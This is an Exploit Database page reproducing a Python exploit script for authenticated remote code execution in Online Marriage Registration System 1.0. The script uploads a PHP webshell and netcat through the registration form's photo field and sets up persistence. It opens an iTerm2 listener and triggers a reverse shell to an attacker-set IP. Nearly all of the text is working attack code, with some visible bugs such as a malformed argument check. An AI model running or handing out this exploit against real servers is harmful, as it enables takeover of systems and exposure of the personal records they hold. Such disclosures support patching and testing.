Online Marriage Registration System (OMRS) 1.0 – Remote Code Execution (2)

• Exploit Database
• 40 阅读

• 作者： Andrea Bruschi
  日期： 2020-12-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49260/

• # Exploit Title: Online Marriage Registration System (OMRS) 1.0 - Remote Code Execution (Authenticated)
  # Google Dork: N/A
  # Date: 2020-14-12
  # Exploit Author: Andrea Bruschi - www.andreabruschi.net
  # Vendor Homepage: https://phpgurukul.com/
  # Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
  # Version: 1.0
  # Tested on: Windows 10 / Xampp Server and Wamp Server
  
  #!/usr/bin/python3
  
  import requests
  import sys
  import os
  import iterm2
  import AppKit
  
  url = sys.argv[1]
  mobile = sys.argv[2]
  password = sys.argv[3] 
  
  # CONFIGURE HERE
  reverse_ip = '192.168.xx.xx'
  reverse_port = 4444
  
  # CONFIGURE HERE
  # SCRIPT WILL DOWNLOAD NETCAT AND A WEBSHELL
  netcat_path = '/local/path/to/nc.exe'
  shell_path = '/local/path/to/shell.php'
  
  
  def login(url, mobile, password):
  
  url = "{}/user/login.php".format(url)
  payload = {'mobno':mobile, 'password':password, 'login':''}
  req = requests.post(url, data=payload)
  cookie = req.cookies['PHPSESSID']
  
  return cookie
  
  
  def upload(url, cookie, file=None):
  
  f = open(file, 'rb')
  filename, ext = os.path.splitext(file)
  
  if "exe" in ext:
  content_type = 'application/octet-stream'
  else:
  content_type = 'application/x-php'
  
  cookie = {'PHPSESSID':cookie}
  url = "{}/user/marriage-reg-form.php".format(url)
  
  files = {'husimage': (filename + ext, f, content_type, {'Expires': '0'}), 'wifeimage':('test.jpg','','image/jpeg')}
  payload = {'dom':'05/01/2020','nofhusband':'test', 'hreligion':'test', 'hdob':'05/01/2020','hsbmarriage':'Bachelor','haddress':'test','hzipcode':'test','hstate':'test','hadharno':'test','nofwife':'test','wreligion':'test','wsbmarriage':'Bachelor','waddress':'test','wzipcode':'test','wstate':'test','wadharno':'test','witnessnamef':'test','waddressfirst':'test','witnessnames':'test','waddresssec':'test','witnessnamet':'test','waddressthird':'test','submit':''}
  req = requests.post(url, data=payload, cookies=cookie, files=files)
  print(f'[+] File {ext} uploaded')
  
  
  def get_remote_file(url, ext):
  
  url = "{}/user/images".format(url)
  req = requests.get(url)
  junk = req.text.split(ext)[0]
  f = junk[-42:] + ext
  
  return f
  
  
  def persistence(url, webshell, netcat):
  
  # webshell
  payload_w = "copy /y {} shell.php".format(webshell)
  url_w = "{}/user/images/{}?cmd={}".format(url, webshell, payload_w)
  req_w = requests.get(url_w)
  
  # netcat
  payload_n = "copy /y {} nc.exe".format(netcat)
  url_n = "{}/user/images/{}?cmd={}".format(url, webshell, payload_n)
  req_n= requests.get(url_n)
  
  print('[+] Persistence enabled')
  
  
  def get_reverse(url, ip, port):
  
  payload = "nc.exe -nv {} {} -e cmd.exe".format(ip, port)
  url_r = "{}/user/images/shell.php?cmd={}".format(url, payload)
  print('[+] Reverse shell incoming!')
  req = requests.get(url_r)
  
  
  # CONFIGURE HERE
  # THE SCRIPT WILL LAUNCH iTerm2 WINDOW RUNNING NC LISTENER
  # YOU CAN ALSO COMMENT THE CALL TO THIS FUNCTION BELOW AND START NC MANUALLY
  def start_listener(port):
  
  # Launch the app
  AppKit.NSWorkspace.sharedWorkspace().launchApplication_("iTerm2")
  
  async def main(connection):
  app = await iterm2.async_get_app(connection)
  window = app.current_window
  if window is not None:
  cmd = "nc -lnv {}".format(port)
  await window.async_create_tab(command=cmd)
  else:
  print("No current window")
  
  iterm2.run_until_complete(main)
  
  
  
  if __name__ == "__main__":
  
  if len(sys.argv < 3): 
  print("Usage: exploit.py <URI> <MOBILE> <PASSWORD>")
  else:
  cookie = login(url, mobile, password)
  upload(url, cookie, netcat_path)
  upload(url, cookie, shell_path)
  webshell = get_remote_file(url, '.php')
  netcat = get_remote_file(url, '.exe')
  persistence(url, webshell, netcat)
  
  start_listener(reverse_port)
  get_reverse(url, reverse_ip, reverse_port)